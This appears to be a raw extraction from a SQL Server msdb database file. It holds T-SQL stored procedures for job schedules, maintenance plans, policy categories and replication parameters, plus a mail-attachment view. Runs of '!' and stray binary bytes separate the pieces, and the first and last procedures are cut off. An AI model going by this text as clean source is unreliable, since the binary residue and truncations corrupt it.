               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hC`*<SJ3LNs0`d8 K8
CREATE PROCEDURE sp_add_schedule
(
  @schedule_name        sysname,
  @enabled              TINYINT         = 1,            -- Name does not have to be unique
  @freq_type            INT             = 0,
  @freq_interval        INT             = 0,
  @freq_subday_type        INT             = 0,
  @freq_subday_interval    INT             = 0,
  @freq_relative_interval  INT             = 0,
  @freq_recurrence_factor  INT             = 0,
  @active_start_date    INT             = NULL,         -- sp_verify_schedule assigns a default
  @active_end_date         INT             = 99991231,     -- December 31st 9999
  @active_start_time    INT             = 000000,       -- 12:00:00 am
  @active_end_time         INT             = 235959,       -- 11:59:59 pm
  @owner_login_name        sysname         = NULL,
  @schedule_uid             UNIQUEIDENTIFIER= NULL  OUTPUT, -- Used by a TSX machine when inserting a schedule
  @schedule_id              INT             = NULL  OUTPUT,
  @originating_server       sysname        = NULL
)   
AS
BEGIN
  DECLARE @retval           INT
  DECLARE @owner_sid        VARBINARY(85)
  DECLARE @orig_server_id   INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @schedule_name         = LTRIM(RTRIM(@schedule_name)),
         @owner_login_name      = LTRIM(RTRIM(@owner_login_name)),
         @originating_server    = UPPER(LTRIM(RTRIM(@originating_server))),
         @schedule_id           = 0
         
         
   -- If the owner isn't supplied make if the current user
  IF(@owner_login_name IS NULL OR @owner_login_name = '')
  BEGIN
    --Get the current users sid
    SELECT @owner_sid = SUSER_SID()
  END
  ELSE
  BEGIN
    -- Get the sid for @owner_login_name SID
    --force case insensitive comparation for NT users
    SELECT @owner_sid = dbo.SQLAGENT_SUSER_SID(@owner_login_name)
    -- Cannot proceed if @owner_login_name doesn't exist
    IF(@owner_sid IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@owner_login_name', @owner_login_name)
      RETURN(1) -- Failure
    END
  END

  -- Check schedule (frequency and owner) parameters
  EXECUTE @retval = sp_verify_schedule NULL,   -- schedule_id does not exist for the new schedule
                                       @name                    = @schedule_name,
                                       @enabled                 = @enabled,
                                       @freq_type               = @freq_type,
                                       @freq_interval           = @freq_interval            OUTPUT,
                                       @freq_subday_type        = @freq_subday_type         OUTPUT,
                                       @freq_subday_interval    = @freq_subday_interval     OUTPUT,
                                       @freq_relative_interval  = @freq_relative_interval   OUTPUT,
                                       @freq_recurrence_factor  = @freq_recurrence_factor   OUTPUT,
                                       @active_start_date       = @active_start_date        OUTPUT,
                                       @active_start_time       = @active_start_time        OUTPUT,
                                       @active_end_date         = @active_end_date          OUTPUT,
                                       @active_end_time         = @active_end_time          OUTPUT,
                                       @owner_sid               = @owner_sid
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- ignore @originating_server unless SQLAgent is calling
  if((@originating_server IS NULL) OR (@originating_server = N'') OR (PROGRAM_NAME() NOT LIKE N'SQLAgent%'))
  BEGIN
    --Get the local originating_server_id
    SELECT @orig_server_id = originating_server_id 
    FROM msdb.dbo.sysoriginatingservers_view 
    WHERE master_server = 0
  END
  ELSE
  BEGIN
    --Get the MSX originating_server_id. If @originating_server isn't the msx server error out
    SELECT @orig_server_id = originating_server_id 
    FROM msdb.dbo.sysoriginatingservers_view 
    WHERE (originating_server = @originating_server)

    IF (@orig_server_id IS NULL)
    BEGIN
      RAISERROR(14370, -1, -1)
      RETURN(1) -- Failure
    END
  END
  
  IF (@schedule_uid IS NULL)
  BEGIN
    -- Assign the GUID
    SELECT @schedule_uid = NEWID()
  END
  ELSE IF (@schedule_uid <> CONVERT(UNIQUEIDENTIFIER, 0x00))
  BEGIN
    --Try and find the schedule if a @schedule_uid is provided. 
    --A TSX server uses the @schedule_uid to identify a schedule downloaded from the MSX
   SELECT @schedule_id = schedule_id
    FROM msdb.dbo.sysschedules
    WHERE schedule_uid = @schedule_uid

   IF((@schedule_id IS NOT NULL) AND (@schedule_id <> 0))
   BEGIN
      --If found update the fields
      UPDATE msdb.dbo.sysschedules
        SET name              = ISNULL(@schedule_name, name),
            enabled              = ISNULL(@enabled, enabled),
         freq_type            = ISNULL(@freq_type, freq_type),
         freq_interval        = ISNULL(@freq_interval, freq_interval),
         freq_subday_type     = ISNULL(@freq_subday_type, freq_subday_type),
         freq_subday_interval = ISNULL(@freq_subday_interval, freq_subday_interval),
         freq_relative_interval  = ISNULL(@freq_relative_interval, freq_relative_interval),
         freq_recurrence_factor  = ISNULL(@freq_recurrence_factor, freq_recurrence_factor),
         active_start_date    = ISNULL(@active_start_date, active_start_date),
         active_end_date         = ISNULL(@active_end_date, active_end_date),
         active_start_time    = ISNULL(@active_start_time, active_start_time),
         active_end_time         = ISNULL(@active_end_time, active_end_time)
      WHERE schedule_uid = @schedule_uid

      RETURN(@@ERROR)
   END
  END
  
  --MSX not found so add a record to sysschedules
  INSERT INTO msdb.dbo.sysschedules
         (schedule_uid,
          originating_server_id,
          name,
          owner_sid,
          enabled,
          freq_type,
          freq_interval,
          freq_subday_type,
          freq_subday_interval,
          freq_relative_interval,
          freq_recurrence_factor,
          active_start_date,
          active_end_date,
          active_start_time,
          active_end_time)
  select @schedule_uid,
         @orig_server_id, 
         @schedule_name,
         @owner_sid,
         @enabled,
         @freq_type,
         @freq_interval,
         @freq_subday_type,
         @freq_subday_interval,
         @freq_relative_interval,
         @freq_recurrence_factor,
         @active_start_date,
         @active_end_date,
         @active_start_time,
         @active_end_time
          
  SELECT @retval = @@ERROR,
         @schedule_id = @@IDENTITY

  RETURN(@retval) -- 0 means success
END
0pp8 8CREATE PROCEDURE sp_delete_maintenance_plan_db
  @plan_id uniqueidentifier,
  @db_name sysname
AS
BEGIN
  /*check if the (plan_id, db_name) exists in the table*/
  IF (NOT EXISTS(SELECT *
                 FROM msdb.dbo.sysdbmaintplan_databases
                 WHERE @plan_id=plan_id AND @db_name=database_name))
  BEGIN
    DECLARE @syserr VARCHAR(300)
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+@db_name
    RAISERROR(14262,-1,-1,'@plan_id+@db_name',@syserr)
    RETURN(1)
  END
  /*delete the pair*/
  DELETE FROM msdb.dbo.sysdbmaintplan_databases
  WHERE plan_id=@plan_id AND database_name=@db_name
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`PS<j
4CX}0ĄX9 8
CREATE PROCEDURE sp_attach_schedule
(
  @job_id               UNIQUEIDENTIFIER    = NULL,     -- Must provide either this or job_name
  @job_name             sysname             = NULL,     -- Must provide either this or job_id
  @schedule_id          INT                 = NULL,     -- Must provide either this or schedule_name
  @schedule_name        sysname             = NULL,     -- Must provide either this or schedule_id
  @automatic_post       BIT                 = 1         -- If 1 will post notifications to all tsx servers to that run this job
)   
AS
BEGIN
  DECLARE @retval           INT
  DECLARE @sched_owner_sid  VARBINARY(85)
  DECLARE @job_owner_sid    VARBINARY(85)

  
  SET NOCOUNT ON

  -- Check that we can uniquely identify the job
  EXECUTE @retval = msdb.dbo.sp_verify_job_identifiers '@job_name',
                                                       '@job_id',
                                                        @job_name                   OUTPUT,
                                                        @job_id                     OUTPUT,
                                                        @owner_sid = @job_owner_sid OUTPUT
    IF (@retval <> 0)
        RETURN(1) -- Failure

  -- Check authority (only SQLServerAgent can add a schedule to a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)
        
  -- Check that we can uniquely identify the schedule
  EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                            @name_of_id_parameter   = '@schedule_id',
                                                            @schedule_name          = @schedule_name    OUTPUT,
                                                            @schedule_id            = @schedule_id      OUTPUT,
                                                            @owner_sid              = @sched_owner_sid  OUTPUT,
                                                            @orig_server_id         = NULL
  IF (@retval <> 0)
      RETURN(1) -- Failure     

  --Schedules can only be attached to a job if the caller owns the job
  --or the caller is a sysadmin
  IF ((@job_owner_sid <> SUSER_SID()) AND
      (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
     RAISERROR(14377, -1, -1)
     RETURN(1) -- Failure
  END

  -- If the record doesn't already exist create it
  IF( NOT EXISTS(SELECT *  
                 FROM msdb.dbo.sysjobschedules
                 WHERE (schedule_id = @schedule_id)
                   AND (job_id = @job_id)) )
  BEGIN
    INSERT INTO msdb.dbo.sysjobschedules (schedule_id, job_id)
    SELECT @schedule_id, @job_id
    
    SELECT @retval = @@ERROR

    -- Notify SQLServerAgent of the change, but only if we know the job has been cached
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                    AND (server_id = 0)))
    BEGIN
        EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'S',
                                            @job_id      = @job_id,
                                            @schedule_id = @schedule_id,
                                            @action_type = N'I'
    END
    
    -- For a multi-server job, remind the user that they need to call sp_post_msx_operation
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                    AND (server_id <> 0)))
      -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
      IF (@automatic_post = 1)
        EXECUTE sp_post_msx_operation @operation = 'INSERT', @object_type = 'JOB', @job_id = @job_id
      ELSE
        RAISERROR(14547, 0, 1, N'INSERT', N'sp_post_msx_operation')

    -- update this job's subplan to point to this schedule
    UPDATE msdb.dbo.sysmaintplan_subplans
      SET schedule_id = @schedule_id
    WHERE (job_id = @job_id)
      AND (schedule_id IS NULL)
  END
  
  RETURN(@retval) -- 0 means success
END
0Ӟ: +8(getdate())09 E8CREATE PROCEDURE sp_add_maintenance_plan_job
  @plan_id UNIQUEIDENTIFIER,
  @job_id  UNIQUEIDENTIFIER
AS
BEGIN
  DECLARE @syserr varchar(100)
  /*check if the @plan_id is valid*/
  IF (NOT EXISTS(SELECT plan_id
                 FROM msdb.dbo.sysdbmaintplans
                 WHERE plan_id=@plan_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /*check if the @job_id is valid*/
  IF (NOT EXISTS(SELECT job_id
                 FROM msdb.dbo.sysjobs
                 WHERE job_id=@job_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@job_id)
    RAISERROR(14262,-1,-1,'@job_id',@syserr)
    RETURN(1)
  END
  /*check if the job has at least one step calling xp_sqlmaint*/
  DECLARE @maxind INT
  SELECT @maxind=(SELECT MAX(CHARINDEX('xp_sqlmaint', command))
                FROM  msdb.dbo.sysjobsteps
                WHERE @job_id=job_id)
  IF (@maxind<=0)
  BEGIN
    /*print N'Warning: The job is not for maitenance plan.' -- will add the new sysmessage here*/
    SELECT @syserr=CONVERT(VARCHAR(100),@job_id)
    RAISERROR(14199,-1,-1,@syserr)
    RETURN(1)
  END
  INSERT INTO msdb.dbo.sysdbmaintplan_jobs(plan_id,job_id) VALUES (@plan_id, @job_id) --don't have to check duplicate here
END
0Ux9 {8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_policy_category]
@name sysname = NULL,
@policy_category_id int = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_policy_category_identifiers @name, @policy_category_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_policy_category_subscriptions WHERE policy_category_id = @policy_category_id)
    BEGIN
        RAISERROR(34012,-1,-1,'Policy Category','Policy Subscription')
        RETURN (1)
    END


    IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_policies WHERE policy_category_id = @policy_category_id)
    BEGIN
        RAISERROR(34012,-1,-1,'Policy Category','Policy')
        RETURN (1)
    END

    DELETE msdb.dbo.syspolicy_policy_categories_internal
    WHERE policy_category_id = @policy_category_id
    
    SET @retval = @@error
    RETURN @retval
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`RU<5CS E0L: 8
CREATE PROCEDURE sp_detach_schedule
(
  @job_id               UNIQUEIDENTIFIER    = NULL,     -- Must provide either this or job_name
  @job_name             sysname             = NULL,     -- Must provide either this or job_id
  @schedule_id          INT                 = NULL,     -- Must provide either this or schedule_name
  @schedule_name        sysname             = NULL,     -- Must provide either this or schedule_id
  @delete_unused_schedule BIT               = 0,        -- Can optionally delete schedule if it isn't referenced.
                                                        -- The default is to keep schedules 
  @automatic_post       BIT                 = 1         -- If 1 will post notifications to all tsx servers to that run this job
)   
AS
BEGIN
  DECLARE @retval   INT
  DECLARE @sched_owner_sid VARBINARY(85)
  DECLARE @job_owner_sid    VARBINARY(85)
  
  SET NOCOUNT ON

  -- Check that we can uniquely identify the job
  EXECUTE @retval = msdb.dbo.sp_verify_job_identifiers '@job_name',
                                                       '@job_id',
                                                        @job_name OUTPUT,
                                                        @job_id   OUTPUT,
                                                        @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check authority (only SQLServerAgent can add a schedule to a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)
        
  -- Check that we can uniquely identify the schedule
  EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                            @name_of_id_parameter   = '@schedule_id',
                                                            @schedule_name          = @schedule_name OUTPUT,
                                                            @schedule_id            = @schedule_id   OUTPUT,
                                                            @owner_sid              = @sched_owner_sid OUTPUT,
                                                            @orig_server_id         = NULL,
                                                            @job_id_filter          = @job_id
  IF (@retval <> 0)
      RETURN(1) -- Failure
 
  -- If the record doesn't exist raise an error
  IF( NOT EXISTS(SELECT *  
                 FROM msdb.dbo.sysjobschedules
                 WHERE (schedule_id = @schedule_id)
                   AND (job_id = @job_id)) )
  BEGIN
    RAISERROR(14374, 0, 1, @schedule_name, @job_name)    
    RETURN(1) -- Failure   
  END
  ELSE
  BEGIN
  
   -- Permissions check:
   --  If sysadmin continue (sysadmin can detach schedules they don't own)
   --  Otherwise if the caller owns the job, we can detach it
   --  Except If @delete_unused_schedule = 1 then the caller has to own both the job and the schedule
   IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
   BEGIN
    IF (@job_owner_sid = SUSER_SID())
    BEGIN
      IF ((@delete_unused_schedule = 1) AND (@sched_owner_sid <> SUSER_SID()))
      BEGIN
        -- Cannot delete the schedule
        RAISERROR(14394, -1, -1)
        RETURN(1) -- Failure
      END
    END
    ELSE -- the caller is not sysadmin and it does not own the job -> throw
    BEGIN
      RAISERROR(14391, -1, -1)
      RETURN(1) -- Failure
    END
   END

    DELETE FROM msdb.dbo.sysjobschedules
    WHERE (job_id = @job_id)
      AND (schedule_id = @schedule_id)
    
    SELECT @retval = @@ERROR
    
    --delete the schedule if requested and it isn't referenced
    IF(@retval = 0 AND @delete_unused_schedule = 1)
    BEGIN
        IF(NOT EXISTS(SELECT * 
                      FROM msdb.dbo.sysjobschedules
                      WHERE (schedule_id = @schedule_id)))
        BEGIN
            DELETE FROM msdb.dbo.sysschedules
            WHERE (schedule_id = @schedule_id)
        END
    END

    -- Update the job's version/last-modified information
    UPDATE msdb.dbo.sysjobs
    SET version_number = version_number + 1,
        date_modified = GETDATE()
    WHERE (job_id = @job_id)

    -- Notify SQLServerAgent of the change, but only if we know the job has been cached
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                    AND (server_id = 0)))
    BEGIN
        EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'S',
                                            @job_id      = @job_id,
                                            @schedule_id = @schedule_id,
                                            @action_type = N'D'
    END

    -- For a multi-server job, remind the user that they need to call sp_post_msx_operation
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                    AND (server_id <> 0)))
      -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
      IF (@automatic_post = 1)
        EXECUTE sp_post_msx_operation @operation = 'INSERT', @object_type = 'JOB', @job_id = @job_id
      ELSE
        RAISERROR(14547, 0, 1, N'INSERT', N'sp_post_msx_operation')
    
    -- set this job's subplan to the first schedule in sysjobschedules or NULL if there is none 
    UPDATE msdb.dbo.sysmaintplan_subplans
    SET schedule_id = (    SELECT TOP(1) schedule_id
                        FROM msdb.dbo.sysjobschedules
                        WHERE (job_id = @job_id) )
    WHERE (job_id = @job_id)
      AND (schedule_id = @schedule_id)
  END
  
  RETURN(@retval) -- 0 means success
END
0; /8(suser_sname())0: u8CREATE PROCEDURE sp_delete_maintenance_plan_job
  @plan_id uniqueidentifier,
  @job_id  uniqueidentifier
AS
BEGIN
  /*check if the (plan_id, job_id) exists*/
  IF (NOT EXISTS(SELECT *
                 FROM sysdbmaintplan_jobs
                 WHERE @plan_id=plan_id AND @job_id=job_id))
  BEGIN
    DECLARE @syserr VARCHAR(300)
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)+' + '+CONVERT(VARCHAR(100),@job_id)
    RAISERROR(14262,-1,-1,'@plan_id+@job_id',@syserr)
    RETURN(1)
  END
  DELETE FROM msdb.dbo.sysdbmaintplan_jobs
  WHERE plan_id=@plan_id AND job_id=@job_id
END
0l: 8CREATE PROCEDURE [dbo].[sp_syspolicy_rename_policy_category] 
@name sysname = NULL,
@policy_category_id int = NULL,
@new_name sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    IF (@new_name IS NULL or LEN(@new_name) = 0)
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END

    DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_policy_category_identifiers @name, @policy_category_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    UPDATE msdb.[dbo].[syspolicy_policy_categories_internal ]
    SET name = @new_name
    WHERE policy_category_id = @policy_category_id

    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`T<A6L`V06@; B8CREATE PROCEDURE sp_update_replication_job_parameter
  @job_id        UNIQUEIDENTIFIER,
  @old_freq_type INT,
  @new_freq_type INT
AS
BEGIN
  DECLARE @category_id INT
  DECLARE @pattern     NVARCHAR(50)
  DECLARE @patternidx  INT
  DECLARE @cmdline     NVARCHAR(3200)
  DECLARE @step_id     INT

  SET NOCOUNT ON
  SELECT @pattern = N'%[-/][Cc][Oo][Nn][Tt][Ii][Nn][Uu][Oo][Uu][Ss]%'

  -- Make sure that we are dealing with relevant replication jobs
  SELECT @category_id = category_id
  FROM msdb.dbo.sysjobs
  WHERE (@job_id = job_id)

  -- @category_id = 10 (REPL-Distribution), 13 (REPL-LogReader), 14 (REPL-Merge),
  --  19 (REPL-QueueReader)
  IF @category_id IN (10, 13, 14, 19)
  BEGIN
    -- Adding the -Continuous parameter (non auto-start to auto-start)
    IF ((@old_freq_type <> 0x40) AND (@new_freq_type = 0x40))
    BEGIN
      -- Use a cursor to handle multiple replication agent job steps
      DECLARE step_cursor CURSOR LOCAL FOR
      SELECT command, step_id
      FROM msdb.dbo.sysjobsteps
      WHERE (@job_id = job_id)
        AND (UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS) IN (N'MERGE', N'LOGREADER', N'DISTRIBUTION', N'QUEUEREADER'))
      OPEN step_cursor
      FETCH step_cursor INTO @cmdline, @step_id

      WHILE (@@FETCH_STATUS <> -1)
      BEGIN
        SELECT @patternidx = PATINDEX(@pattern, @cmdline)
        -- Make sure that the -Continuous parameter has not been specified already
        IF (@patternidx = 0)
        BEGIN
          SELECT @cmdline = @cmdline + N' -Continuous'
          UPDATE msdb.dbo.sysjobsteps
          SET command = @cmdline
          WHERE (@job_id = job_id)
            AND (@step_id = step_id)
        END -- IF (@patternidx = 0)
        FETCH NEXT FROM step_cursor into @cmdline, @step_id
      END -- WHILE (@@FETCH_STATUS <> -1)
      CLOSE step_cursor
      DEALLOCATE step_cursor
    END -- IF ((@old_freq_type...
    -- Removing the -Continuous parameter (auto-start to non auto-start)
    ELSE
    IF ((@old_freq_type = 0x40) AND (@new_freq_type <> 0x40))
    BEGIN
      DECLARE step_cursor CURSOR LOCAL FOR
      SELECT command, step_id
      FROM msdb.dbo.sysjobsteps
      WHERE (@job_id = job_id)
        AND (UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS) IN (N'MERGE', N'LOGREADER', N'DISTRIBUTION', N'QUEUEREADER'))
      OPEN step_cursor
      FETCH step_cursor INTO @cmdline, @step_id

      WHILE (@@FETCH_STATUS <> -1)
      BEGIN
        SELECT @patternidx = PATINDEX(@pattern, @cmdline)
        IF (@patternidx <> 0)
        BEGIN
          -- Handle multiple instances of -Continuous in the commandline
          WHILE (@patternidx <> 0)
          BEGIN
            SELECT @cmdline = STUFF(@cmdline, @patternidx, 11, N'')
            IF (@patternidx > 1)
            BEGIN
              -- Remove the preceding space if -Continuous does not start at the beginning of the commandline
              SELECT @cmdline = stuff(@cmdline, @patternidx - 1, 1, N'')
            END
            SELECT @patternidx = PATINDEX(@pattern, @cmdline)
          END -- WHILE (@patternidx <> 0)
          UPDATE msdb.dbo.sysjobsteps
          SET command = @cmdline
          WHERE (@job_id = job_id)
            AND (@step_id = step_id)
        END -- IF (@patternidx <> -1)
        FETCH NEXT FROM step_cursor INTO @cmdline, @step_id
      END -- WHILE (@@FETCH_STATUS <> -1)
      CLOSE step_cursor
      DEALLOCATE step_cursor
    END -- ELSE IF ((@old_freq_type = 0x40)...
  END -- IF @category_id IN (10, 13, 14)

  RETURN 0
END
0o4< D8H>h+0E; 8
CREATE VIEW sysmail_mailattachments
AS
SELECT attachment_id,
       sa.mailitem_id,
       filename,
       filesize,
       attachment,
       sa.last_mod_date,
       sa.last_mod_user
  FROM msdb.dbo.sysmail_attachments sa
  JOIN msdb.dbo.sysmail_mailitems sm ON sa.mailitem_id = sm.mailitem_id
  WHERE (sm.send_request_user = SUSER_SNAME()) OR (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
0; 8CREATE PROCEDURE sp_help_maintenance_plan
  @plan_id UNIQUEIDENTIFIER = NULL
AS
BEGIN
  IF (@plan_id IS NOT NULL)
    BEGIN
      /*return the information about the plan itself*/
      SELECT *
      FROM msdb.dbo.sysdbmaintplans
      WHERE plan_id=@plan_id
      /*return the information about databases this plan defined on*/
      SELECT database_name
      FROM msdb.dbo.sysdbmaintplan_databases
      WHERE plan_id=@plan_id
      /*return the information about the jobs that relating to the plan*/
      SELECT job_id
      FROM msdb.dbo.sysdbmaintplan_jobs
      WHERE plan_id=@plan_id
    END
  ELSE
    BEGIN
      SELECT *
      FROM msdb.dbo.sysdbmaintplans
    END
END
0`; a8CREATE PROCEDURE [dbo].[sp_syspolicy_update_policy_category] 
@name sysname = NULL,
@policy_category_id int = NULL,
@mandate_database_subscriptions bit = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_policy_category_identifiers @name, @policy_category_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    UPDATE msdb.[dbo].[syspolicy_policy_categories_internal ]
    SET mandate_database_subscriptions = ISNULL(@mandate_database_subscriptions, mandate_database_subscriptions)
    WHERE policy_category_id = @policy_category_id

    SELECT @retval = @@error
    RETURN(@retval)
END
0<@ 8
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_recreate_synonym_internal]
   @synonym_name sysname, @database_name sysname, @schema_name sysname, @object_name sysname
WITH EXECUTE AS CALLER
AS
BEGIN
   DECLARE @null_column nvarchar(100)
   SET @null_column = NULL

   IF (@synonym_name IS NULL OR @synonym_name = N'')
        SET @null_column = '@synonym_name'
   ELSE IF (@object_name IS NULL OR @object_name = N'')
        SET @null_column = '@object_name'

   IF @null_column IS NOT NULL
   BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_recreate_synonym')
        RETURN(1)
   END

   IF  EXISTS (SELECT name FROM sys.objects WHERE object_id = OBJECT_ID(@synonym_name) )
   BEGIN
      DECLARE @drop_statement nvarchar(600)
      SET @drop_statement = N'DROP SYNONYM [dbo].' + QUOTENAME(@synonym_name)
